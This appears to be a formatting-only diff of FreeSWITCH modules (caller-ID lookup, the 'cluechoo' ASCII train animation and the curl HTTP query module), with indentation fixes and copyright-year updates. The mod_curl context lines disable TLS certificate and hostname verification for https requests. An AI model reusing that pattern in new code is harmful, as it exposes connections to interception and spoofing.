switch_goto_status(SWITCH_STATUS_SUCCESS, done);
|
||||
}
|
||||
@@ -798,11 +789,11 @@ SWITCH_STANDARD_API(cidlookup_function)
|
||||
}
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
|
||||
|
||||
usage:
|
||||
usage:
|
||||
stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
|
||||
switch_goto_status(status, done);
|
||||
|
||||
done:
|
||||
|
||||
done:
|
||||
switch_safe_free(mydata);
|
||||
if (event) {
|
||||
switch_event_destroy(&event);
|
||||
@@ -822,16 +813,16 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_cidlookup_load)
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
memset(&globals, 0, sizeof(globals));
|
||||
|
||||
|
||||
globals.pool = pool;
|
||||
|
||||
do_config(SWITCH_FALSE);
|
||||
|
||||
|
||||
if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &reload_xml_event) != SWITCH_STATUS_SUCCESS)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event!\n");
|
||||
return SWITCH_STATUS_TERM;
|
||||
}
|
||||
|
||||
|
||||
SWITCH_ADD_API(api_interface, "cidlookup", "cidlookup API", cidlookup_function, SYNTAX);
|
||||
SWITCH_ADD_APP(app_interface, "cidlookup", "Perform a CID lookup", "Perform a CID lookup",
|
||||
cidlookup_app_function, "[number [skipurl]]", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -52,11 +52,11 @@ int vgo(int i, switch_core_session_t *session);
|
||||
SWITCH_STANDARD_APP(cluechoo_app)
|
||||
{
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
|
||||
|
||||
switch_channel_answer(channel);
|
||||
switch_ivr_sleep(session, 1000, SWITCH_FALSE, NULL);
|
||||
|
||||
while(switch_channel_ready(channel)) {
|
||||
while (switch_channel_ready(channel)) {
|
||||
if (vgo(0, session) < 0) {
|
||||
break;
|
||||
}
|
||||
@@ -66,7 +66,7 @@ SWITCH_STANDARD_APP(cluechoo_app)
|
||||
SWITCH_STANDARD_API(cluechoo_function)
|
||||
{
|
||||
//stream->write_function(stream, "+OK Reloading\n");
|
||||
|
||||
|
||||
go(0);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -81,7 +81,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_cluechoo_load)
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
|
||||
|
||||
|
||||
SWITCH_ADD_API(api_interface, "cluechoo", "Cluechoo API", cluechoo_function, "syntax");
|
||||
|
||||
SWITCH_ADD_APP(app_interface, "cluechoo", "cluechoo", "cluechoo", cluechoo_app, "", SAF_NONE);
|
||||
@@ -134,36 +134,45 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_cluechoo_shutdown)
|
||||
#include <unistd.h>
|
||||
#include "sl.h"
|
||||
|
||||
int ACCIDENT = 0;
|
||||
int LOGO = 0;
|
||||
int FLY = 0;
|
||||
int ACCIDENT = 0;
|
||||
int LOGO = 0;
|
||||
int FLY = 0;
|
||||
|
||||
int my_mvaddstr(int y, int x, char *str)
|
||||
{
|
||||
for ( ; x < 0; ++x, ++str)
|
||||
if (*str == '\0') return ERR;
|
||||
for ( ; *str != '\0'; ++str, ++x)
|
||||
if (mvaddch(y, x, *str) == ERR) return ERR;
|
||||
return OK;
|
||||
for (; x < 0; ++x, ++str)
|
||||
if (*str == '\0')
|
||||
return ERR;
|
||||
for (; *str != '\0'; ++str, ++x)
|
||||
if (mvaddch(y, x, *str) == ERR)
|
||||
return ERR;
|
||||
return OK;
|
||||
}
|
||||
|
||||
void option(char *str)
|
||||
{
|
||||
extern int ACCIDENT, FLY;
|
||||
extern int ACCIDENT, FLY;
|
||||
|
||||
while (*str != '\0') {
|
||||
while (*str != '\0') {
|
||||
switch (*str++) {
|
||||
case 'a': ACCIDENT = 1; break;
|
||||
case 'F': FLY = 1; break;
|
||||
case 'l': LOGO = 1; break;
|
||||
default: break;
|
||||
case 'a':
|
||||
ACCIDENT = 1;
|
||||
break;
|
||||
case 'F':
|
||||
FLY = 1;
|
||||
break;
|
||||
case 'l':
|
||||
LOGO = 1;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int go(int i)
|
||||
{
|
||||
int x;
|
||||
int x;
|
||||
int sleep_len = 40000;
|
||||
|
||||
if (i > 0) {
|
||||
@@ -171,23 +180,25 @@ int go(int i)
|
||||
}
|
||||
|
||||
/*
|
||||
for (i = 1; i < argc; ++i) {
|
||||
if (*argv[i] == '-') {
|
||||
option(argv[i] + 1);
|
||||
}
|
||||
}
|
||||
*/
|
||||
initscr();
|
||||
signal(SIGINT, SIG_IGN);
|
||||
noecho();
|
||||
leaveok(stdscr, TRUE);
|
||||
scrollok(stdscr, FALSE);
|
||||
for (i = 1; i < argc; ++i) {
|
||||
if (*argv[i] == '-') {
|
||||
option(argv[i] + 1);
|
||||
}
|
||||
}
|
||||
*/
|
||||
initscr();
|
||||
signal(SIGINT, SIG_IGN);
|
||||
noecho();
|
||||
leaveok(stdscr, TRUE);
|
||||
scrollok(stdscr, FALSE);
|
||||
|
||||
for (x = COLS - 1; ; --x) {
|
||||
for (x = COLS - 1;; --x) {
|
||||
if (LOGO == 0) {
|
||||
if (add_D51(x) == ERR) break;
|
||||
if (add_D51(x) == ERR)
|
||||
break;
|
||||
} else {
|
||||
if (add_sl(x) == ERR) break;
|
||||
if (add_sl(x) == ERR)
|
||||
break;
|
||||
}
|
||||
refresh();
|
||||
if (x == COLS / 4) {
|
||||
@@ -195,9 +206,9 @@ int go(int i)
|
||||
} else {
|
||||
usleep(sleep_len);
|
||||
}
|
||||
}
|
||||
mvcur(0, COLS - 1, LINES - 1, 0);
|
||||
endwin();
|
||||
}
|
||||
mvcur(0, COLS - 1, LINES - 1, 0);
|
||||
endwin();
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -205,20 +216,20 @@ int go(int i)
|
||||
|
||||
int vgo(int i, switch_core_session_t *session)
|
||||
{
|
||||
int x;
|
||||
int x;
|
||||
int sleep_len = 40000;
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
switch_frame_t *read_frame;
|
||||
switch_status_t status;
|
||||
switch_codec_implementation_t read_impl = {0};
|
||||
switch_codec_t codec = {0};
|
||||
switch_codec_implementation_t read_impl = { 0 };
|
||||
switch_codec_t codec = { 0 };
|
||||
int hangover_hits = 0, hangunder_hits = 0;
|
||||
int diff_level = 400;
|
||||
int hangover = 40, hangunder = 15;
|
||||
int talking = 0;
|
||||
int energy_level = 500;
|
||||
int done = 0;
|
||||
switch_core_session_get_read_impl(session, &read_impl);
|
||||
switch_core_session_get_read_impl(session, &read_impl);
|
||||
|
||||
printf("%s", SWITCH_SEQ_CLEARSCR);
|
||||
|
||||
@@ -226,16 +237,16 @@ int vgo(int i, switch_core_session_t *session)
|
||||
sleep_len = i;
|
||||
}
|
||||
|
||||
initscr();
|
||||
signal(SIGINT, SIG_IGN);
|
||||
noecho();
|
||||
leaveok(stdscr, TRUE);
|
||||
scrollok(stdscr, FALSE);
|
||||
initscr();
|
||||
signal(SIGINT, SIG_IGN);
|
||||
noecho();
|
||||
leaveok(stdscr, TRUE);
|
||||
scrollok(stdscr, FALSE);
|
||||
|
||||
|
||||
if (switch_core_codec_init(&codec,
|
||||
"L16",
|
||||
NULL, (int) read_impl.samples_per_second, read_impl.microseconds_per_packet / 1000,
|
||||
NULL, (int) read_impl.samples_per_second, read_impl.microseconds_per_packet / 1000,
|
||||
1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
|
||||
switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
|
||||
return -1;
|
||||
@@ -243,28 +254,27 @@ int vgo(int i, switch_core_session_t *session)
|
||||
|
||||
switch_core_session_set_read_codec(session, &codec);
|
||||
|
||||
for (x = COLS - 1; ; --x) {
|
||||
for (x = COLS - 1;; --x) {
|
||||
|
||||
if (!done && !switch_channel_ready(channel)) {
|
||||
done = 1;
|
||||
}
|
||||
|
||||
|
||||
if (!done) {
|
||||
status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
|
||||
if (!SWITCH_READ_ACCEPTABLE(status)) {
|
||||
done = 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (!done)
|
||||
{
|
||||
|
||||
if (!done) {
|
||||
int16_t *fdata = (int16_t *) read_frame->data;
|
||||
uint32_t samples = read_frame->datalen / sizeof(*fdata);
|
||||
uint32_t score, count = 0, j = 0;
|
||||
double energy = 0;
|
||||
int divisor = 0;
|
||||
|
||||
|
||||
|
||||
for (count = 0; count < samples; count++) {
|
||||
energy += abs(fdata[j]);
|
||||
j += read_impl.number_of_channels;
|
||||
@@ -275,7 +285,7 @@ int vgo(int i, switch_core_session_t *session)
|
||||
}
|
||||
|
||||
score = (uint32_t) (energy / (samples / divisor));
|
||||
|
||||
|
||||
if (score > energy_level) {
|
||||
uint32_t diff = score - energy_level;
|
||||
if (hangover_hits) {
|
||||
@@ -284,7 +294,7 @@ int vgo(int i, switch_core_session_t *session)
|
||||
|
||||
if (diff >= diff_level || ++hangunder_hits >= hangunder) {
|
||||
hangover_hits = hangunder_hits = 0;
|
||||
|
||||
|
||||
if (!talking) {
|
||||
talking = 1;
|
||||
}
|
||||
@@ -310,22 +320,24 @@ int vgo(int i, switch_core_session_t *session)
|
||||
}
|
||||
|
||||
if (LOGO == 0) {
|
||||
if (add_D51(x) == ERR) break;
|
||||
if (add_D51(x) == ERR)
|
||||
break;
|
||||
} else {
|
||||
if (add_sl(x) == ERR) break;
|
||||
if (add_sl(x) == ERR)
|
||||
break;
|
||||
}
|
||||
refresh();
|
||||
|
||||
/*
|
||||
if (x == COLS / 4) {
|
||||
sleep(2);
|
||||
} else {
|
||||
usleep(sleep_len);
|
||||
}
|
||||
*/
|
||||
}
|
||||
mvcur(0, COLS - 1, LINES - 1, 0);
|
||||
endwin();
|
||||
if (x == COLS / 4) {
|
||||
sleep(2);
|
||||
} else {
|
||||
usleep(sleep_len);
|
||||
}
|
||||
*/
|
||||
}
|
||||
mvcur(0, COLS - 1, LINES - 1, 0);
|
||||
endwin();
|
||||
|
||||
switch_core_session_set_read_codec(session, NULL);
|
||||
switch_core_codec_destroy(&codec);
|
||||
@@ -335,103 +347,114 @@ int vgo(int i, switch_core_session_t *session)
|
||||
|
||||
int add_sl(int x)
|
||||
{
|
||||
static char *sl[LOGOPATTERNS][LOGOHIGHT + 1]
|
||||
= {{LOGO1, LOGO2, LOGO3, LOGO4, LWHL11, LWHL12, DELLN},
|
||||
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL21, LWHL22, DELLN},
|
||||
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL31, LWHL32, DELLN},
|
||||
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL41, LWHL42, DELLN},
|
||||
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL51, LWHL52, DELLN},
|
||||
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL61, LWHL62, DELLN}};
|
||||
static char *sl[LOGOPATTERNS][LOGOHIGHT + 1]
|
||||
= { {LOGO1, LOGO2, LOGO3, LOGO4, LWHL11, LWHL12, DELLN},
|
||||
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL21, LWHL22, DELLN},
|
||||
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL31, LWHL32, DELLN},
|
||||
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL41, LWHL42, DELLN},
|
||||
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL51, LWHL52, DELLN},
|
||||
{LOGO1, LOGO2, LOGO3, LOGO4, LWHL61, LWHL62, DELLN}
|
||||
};
|
||||
|
||||
static char *coal[LOGOHIGHT + 1]
|
||||
= {LCOAL1, LCOAL2, LCOAL3, LCOAL4, LCOAL5, LCOAL6, DELLN};
|
||||
static char *coal[LOGOHIGHT + 1]
|
||||
= { LCOAL1, LCOAL2, LCOAL3, LCOAL4, LCOAL5, LCOAL6, DELLN };
|
||||
|
||||
static char *car[LOGOHIGHT + 1]
|
||||
= {LCAR1, LCAR2, LCAR3, LCAR4, LCAR5, LCAR6, DELLN};
|
||||
static char *car[LOGOHIGHT + 1]
|
||||
= { LCAR1, LCAR2, LCAR3, LCAR4, LCAR5, LCAR6, DELLN };
|
||||
|
||||
int i, y, py1 = 0, py2 = 0, py3 = 0;
|
||||
|
||||
if (x < - LOGOLENGTH) return ERR;
|
||||
y = LINES / 2 - 3;
|
||||
int i, y, py1 = 0, py2 = 0, py3 = 0;
|
||||
|
||||
if (FLY == 1) {
|
||||
if (x < -LOGOLENGTH)
|
||||
return ERR;
|
||||
y = LINES / 2 - 3;
|
||||
|
||||
if (FLY == 1) {
|
||||
y = (x / 6) + LINES - (COLS / 6) - LOGOHIGHT;
|
||||
py1 = 2; py2 = 4; py3 = 6;
|
||||
}
|
||||
py1 = 2;
|
||||
py2 = 4;
|
||||
py3 = 6;
|
||||
}
|
||||
|
||||
for (i = 0; i <= LOGOHIGHT; ++i) {
|
||||
for (i = 0; i <= LOGOHIGHT; ++i) {
|
||||
my_mvaddstr(y + i, x, sl[(LOGOLENGTH + x) / 3 % LOGOPATTERNS][i]);
|
||||
my_mvaddstr(y + i + py1, x + 21, coal[i]);
|
||||
my_mvaddstr(y + i + py2, x + 42, car[i]);
|
||||
my_mvaddstr(y + i + py3, x + 63, car[i]);
|
||||
}
|
||||
if (ACCIDENT == 1) {
|
||||
}
|
||||
if (ACCIDENT == 1) {
|
||||
add_man(y + 1, x + 14);
|
||||
add_man(y + 1 + py2, x + 45); add_man(y + 1 + py2, x + 53);
|
||||
add_man(y + 1 + py3, x + 66); add_man(y + 1 + py3, x + 74);
|
||||
}
|
||||
add_smoke(y - 1, x + LOGOFUNNEL);
|
||||
return OK;
|
||||
add_man(y + 1 + py2, x + 45);
|
||||
add_man(y + 1 + py2, x + 53);
|
||||
add_man(y + 1 + py3, x + 66);
|
||||
add_man(y + 1 + py3, x + 74);
|
||||
}
|
||||
add_smoke(y - 1, x + LOGOFUNNEL);
|
||||
return OK;
|
||||
}
|
||||
|
||||
static int loops = 0;
|
||||
|
||||
int add_D51(int x)
|
||||
{
|
||||
static char *d51[D51PATTERNS][D51HIGHT + 1]
|
||||
= {{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
|
||||
D51WHL11, D51WHL12, D51WHL13, D51DEL},
|
||||
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
|
||||
D51WHL21, D51WHL22, D51WHL23, D51DEL},
|
||||
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
|
||||
D51WHL31, D51WHL32, D51WHL33, D51DEL},
|
||||
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
|
||||
D51WHL41, D51WHL42, D51WHL43, D51DEL},
|
||||
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
|
||||
D51WHL51, D51WHL52, D51WHL53, D51DEL},
|
||||
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
|
||||
D51WHL61, D51WHL62, D51WHL63, D51DEL}};
|
||||
static char *coal[D51HIGHT + 1]
|
||||
= {COAL01, COAL02, COAL03, COAL04, COAL05,
|
||||
COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL};
|
||||
static char *d51[D51PATTERNS][D51HIGHT + 1]
|
||||
= { {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
|
||||
D51WHL11, D51WHL12, D51WHL13, D51DEL},
|
||||
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
|
||||
D51WHL21, D51WHL22, D51WHL23, D51DEL},
|
||||
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
|
||||
D51WHL31, D51WHL32, D51WHL33, D51DEL},
|
||||
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
|
||||
D51WHL41, D51WHL42, D51WHL43, D51DEL},
|
||||
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
|
||||
D51WHL51, D51WHL52, D51WHL53, D51DEL},
|
||||
{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
|
||||
D51WHL61, D51WHL62, D51WHL63, D51DEL}
|
||||
};
|
||||
static char *coal[D51HIGHT + 1]
|
||||
= { COAL01, COAL02, COAL03, COAL04, COAL05,
|
||||
COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL
|
||||
};
|
||||
|
||||
static char *acoal[D51HIGHT + 1]
|
||||
= {COAL01, COAL02, COAL03, COAL04, COAL5A,
|
||||
COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL};
|
||||
static char *acoal[D51HIGHT + 1]
|
||||
= { COAL01, COAL02, COAL03, COAL04, COAL5A,
|
||||
COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL
|
||||
};
|
||||
|
||||
int y, i, dy = 0;
|
||||
int y, i, dy = 0;
|
||||
|
||||
if (x < - D51LENGTH) return ERR;
|
||||
y = LINES / 2 - 5;
|
||||
if (x < -D51LENGTH)
|
||||
return ERR;
|
||||
y = LINES / 2 - 5;
|
||||
|
||||
if (FLY == 1) {
|
||||
if (FLY == 1) {
|
||||
y = (x / 7) + LINES - (COLS / 7) - D51HIGHT;
|
||||
dy = 1;
|
||||
}
|
||||
}
|
||||
|
||||
for (i = 0; i <= D51HIGHT; ++i) {
|
||||
for (i = 0; i <= D51HIGHT; ++i) {
|
||||
my_mvaddstr(y + i, x, d51[(D51LENGTH + x) % D51PATTERNS][i]);
|
||||
my_mvaddstr(y + i + dy, x + 53, loops > 60 ? coal[i] : acoal[i]);
|
||||
loops++;
|
||||
if (loops == 500) loops = -100;
|
||||
}
|
||||
if (ACCIDENT == 1) {
|
||||
if (loops == 500)
|
||||
loops = -100;
|
||||
}
|
||||
if (ACCIDENT == 1) {
|
||||
add_man(y + 2, x + 43);
|
||||
add_man(y + 2, x + 47);
|
||||
}
|
||||
add_smoke(y - 1, x + D51FUNNEL);
|
||||
return OK;
|
||||
}
|
||||
add_smoke(y - 1, x + D51FUNNEL);
|
||||
return OK;
|
||||
}
|
||||
|
||||
|
||||
int add_man(int y, int x)
|
||||
{
|
||||
static char *man[2][2] = {{"", "(O)"}, {"Help!", "\\O/"}};
|
||||
int i;
|
||||
static char *man[2][2] = { {"", "(O)"}, {"Help!", "\\O/"} };
|
||||
int i;
|
||||
|
||||
for (i = 0; i < 2; ++i) {
|
||||
for (i = 0; i < 2; ++i) {
|
||||
my_mvaddstr(y + i, x, man[(LOGOLENGTH + x) / 12 % 2][i]);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -440,45 +463,51 @@ int add_man(int y, int x)
|
||||
int add_smoke(int y, int x)
|
||||
#define SMOKEPTNS 16
|
||||
{
|
||||
static struct smokes {
|
||||
static struct smokes {
|
||||
int y, x;
|
||||
int ptrn, kind;
|
||||
} S[1000];
|
||||
static int sum = 0;
|
||||
static char *Smoke[2][SMOKEPTNS]
|
||||
= {{"( )", "( )", "( )", "( )", "( )",
|
||||
"( )" , "( )" , "( )" , "()" , "()" ,
|
||||
"O" , "O" , "O" , "O" , "O" ,
|
||||
" " },
|
||||
{"(@@@)", "(@@@@)", "(@@@@)", "(@@@)", "(@@)",
|
||||
"(@@)" , "(@)" , "(@)" , "@@" , "@@" ,
|
||||
"@" , "@" , "@" , "@" , "@" ,
|
||||
" " }};
|
||||
static char *Eraser[SMOKEPTNS]
|
||||
= {" ", " ", " ", " ", " ",
|
||||
" " , " " , " " , " " , " " ,
|
||||
" " , " " , " " , " " , " " ,
|
||||
" " };
|
||||
static int dy[SMOKEPTNS] = { 2, 1, 1, 1, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0 };
|
||||
static int dx[SMOKEPTNS] = {-2, -1, 0, 1, 1, 1, 1, 1, 2, 2,
|
||||
2, 2, 2, 3, 3, 3 };
|
||||
int i;
|
||||
} S[1000];
|
||||
static int sum = 0;
|
||||
static char *Smoke[2][SMOKEPTNS]
|
||||
= { {"( )", "( )", "( )", "( )", "( )",
|
||||
"( )", "( )", "( )", "()", "()",
|
||||
"O", "O", "O", "O", "O",
|
||||
" "},
|
||||
{"(@@@)", "(@@@@)", "(@@@@)", "(@@@)", "(@@)",
|
||||
"(@@)", "(@)", "(@)", "@@", "@@",
|
||||
"@", "@", "@", "@", "@",
|
||||
" "}
|
||||
};
|
||||
static char *Eraser[SMOKEPTNS]
|
||||
= { " ", " ", " ", " ", " ",
|
||||
" ", " ", " ", " ", " ",
|
||||
" ", " ", " ", " ", " ",
|
||||
" "
|
||||
};
|
||||
static int dy[SMOKEPTNS] = { 2, 1, 1, 1, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0
|
||||
};
|
||||
static int dx[SMOKEPTNS] = { -2, -1, 0, 1, 1, 1, 1, 1, 2, 2,
|
||||
2, 2, 2, 3, 3, 3
|
||||
};
|
||||
int i;
|
||||
|
||||
if (x % 4 == 0) {
|
||||
if (x % 4 == 0) {
|
||||
for (i = 0; i < sum; ++i) {
|
||||
my_mvaddstr(S[i].y, S[i].x, Eraser[S[i].ptrn]);
|
||||
S[i].y -= dy[S[i].ptrn];
|
||||
S[i].x += dx[S[i].ptrn];
|
||||
S[i].y -= dy[S[i].ptrn];
|
||||
S[i].x += dx[S[i].ptrn];
|
||||
S[i].ptrn += (S[i].ptrn < SMOKEPTNS - 1) ? 1 : 0;
|
||||
my_mvaddstr(S[i].y, S[i].x, Smoke[S[i].kind][S[i].ptrn]);
|
||||
}
|
||||
my_mvaddstr(y, x, Smoke[sum % 2][0]);
|
||||
S[sum].y = y; S[sum].x = x;
|
||||
S[sum].ptrn = 0; S[sum].kind = sum % 2;
|
||||
sum ++;
|
||||
}
|
||||
|
||||
S[sum].y = y;
|
||||
S[sum].x = x;
|
||||
S[sum].ptrn = 0;
|
||||
S[sum].kind = sum % 2;
|
||||
sum++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -28,7 +28,7 @@
|
||||
* mod_curl.c -- API for performing http queries
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
#include <switch.h>
|
||||
#include <curl/curl.h>
|
||||
#include <json.h>
|
||||
@@ -75,13 +75,12 @@ static size_t file_callback(void *ptr, size_t size, size_t nmemb, void *data)
|
||||
http_data->bytes += realsize;
|
||||
|
||||
if (http_data->bytes > http_data->max_bytes) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int)http_data->bytes);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int) http_data->bytes);
|
||||
http_data->err = 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
http_data->stream.write_function(
|
||||
&http_data->stream, "%.*s", realsize, ptr);
|
||||
http_data->stream.write_function(&http_data->stream, "%.*s", realsize, ptr);
|
||||
return realsize;
|
||||
}
|
||||
|
||||
@@ -90,18 +89,19 @@ static size_t header_callback(void *ptr, size_t size, size_t nmemb, void *data)
|
||||
register unsigned int realsize = (unsigned int) (size * nmemb);
|
||||
http_data_t *http_data = data;
|
||||
char *header = NULL;
|
||||
|
||||
header = switch_core_alloc(http_data->pool, realsize+1);
|
||||
|
||||
header = switch_core_alloc(http_data->pool, realsize + 1);
|
||||
switch_copy_string(header, ptr, realsize);
|
||||
header[realsize] = '\0';
|
||||
|
||||
http_data->headers = curl_slist_append(http_data->headers, header);
|
||||
|
||||
|
||||
return realsize;
|
||||
}
|
||||
|
||||
static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, const char *method, const char *data) {
|
||||
|
||||
static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, const char *method, const char *data)
|
||||
{
|
||||
|
||||
CURL *curl_handle = NULL;
|
||||
long httpRes = 0;
|
||||
char hostname[256] = "";
|
||||
@@ -111,19 +111,19 @@ static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, c
|
||||
http_data = switch_core_alloc(pool, sizeof(http_data_t));
|
||||
memset(http_data, 0, sizeof(http_data_t));
|
||||
http_data->pool = pool;
|
||||
|
||||
|
||||
http_data->max_bytes = 64000;
|
||||
SWITCH_STANDARD_STREAM(http_data->stream);
|
||||
|
||||
gethostname(hostname, sizeof(hostname));
|
||||
|
||||
|
||||
if (!method) {
|
||||
method = "get";
|
||||
}
|
||||
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "method: %s, url: %s\n", method, url);
|
||||
curl_handle = curl_easy_init();
|
||||
|
||||
|
||||
if (!strncasecmp(url, "https", 5)) {
|
||||
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
|
||||
@@ -150,54 +150,53 @@ static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, c
|
||||
curl_easy_perform(curl_handle);
|
||||
curl_easy_getinfo(curl_handle, CURLINFO_RESPONSE_CODE, &httpRes);
|
||||
curl_easy_cleanup(curl_handle);
|
||||
|
||||
if ( http_data->stream.data &&
|
||||
!zstr((char *)http_data->stream.data) &&
|
||||
strcmp(" ", http_data->stream.data) ) {
|
||||
|
||||
|
||||
if (http_data->stream.data && !zstr((char *) http_data->stream.data) && strcmp(" ", http_data->stream.data)) {
|
||||
|
||||
http_data->http_response = switch_core_strdup(pool, http_data->stream.data);
|
||||
}
|
||||
|
||||
|
||||
http_data->http_response_code = httpRes;
|
||||
|
||||
|
||||
switch_safe_free(http_data->stream.data);
|
||||
return http_data;
|
||||
}
|
||||
|
||||
|
||||
static char *print_json(switch_memory_pool_t *pool, http_data_t *http_data) {
|
||||
static char *print_json(switch_memory_pool_t *pool, http_data_t *http_data)
|
||||
{
|
||||
struct json_object *top = NULL;
|
||||
struct json_object *headers = NULL;
|
||||
char *data = NULL;
|
||||
struct curl_slist *header = http_data->headers;
|
||||
|
||||
|
||||
top = json_object_new_object();
|
||||
headers = json_object_new_array();
|
||||
json_object_object_add(top, "status_code", json_object_new_int(http_data->http_response_code));
|
||||
if (http_data->http_response) {
|
||||
json_object_object_add(top, "body", json_object_new_string(http_data->http_response));
|
||||
}
|
||||
|
||||
|
||||
/* parse header data */
|
||||
while(header) {
|
||||
while (header) {
|
||||
struct json_object *obj = NULL;
|
||||
/* remove trailing \r */
|
||||
if ((data=rindex(header->data, '\r'))) {
|
||||
if ((data = rindex(header->data, '\r'))) {
|
||||
*data = '\0';
|
||||
}
|
||||
|
||||
|
||||
if (zstr(header->data)) {
|
||||
header = header->next;
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
if ((data = index(header->data, ':'))) {
|
||||
*data = '\0';
|
||||
data++;
|
||||
while(*data == ' ' && *data != '\0') {
|
||||
while (*data == ' ' && *data != '\0') {
|
||||
data++;
|
||||
}
|
||||
obj = json_object_new_object();
|
||||
obj = json_object_new_object();
|
||||
json_object_object_add(obj, "key", json_object_new_string(header->data));
|
||||
json_object_object_add(obj, "value", json_object_new_string(data));
|
||||
json_object_array_add(headers, obj);
|
||||
@@ -223,15 +222,15 @@ static char *print_json(switch_memory_pool_t *pool, http_data_t *http_data) {
|
||||
}
|
||||
json_object_object_add(top, "headers", headers);
|
||||
data = switch_core_strdup(pool, json_object_to_json_string(top));
|
||||
json_object_put(top); /* should free up all children */
|
||||
|
||||
json_object_put(top); /* should free up all children */
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
SWITCH_STANDARD_APP(curl_app_function)
|
||||
{
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
|
||||
|
||||
char *argv[10] = { 0 };
|
||||
int argc;
|
||||
char *mydata = NULL;
|
||||
@@ -247,8 +246,8 @@ SWITCH_STANDARD_APP(curl_app_function)
|
||||
struct curl_slist *slist = NULL;
|
||||
switch_stream_handle_t stream = { 0 };
|
||||
int i = 0;
|
||||
|
||||
|
||||
|
||||
|
||||
if (session) {
|
||||
pool = switch_core_session_get_pool(session);
|
||||
} else {
|
||||
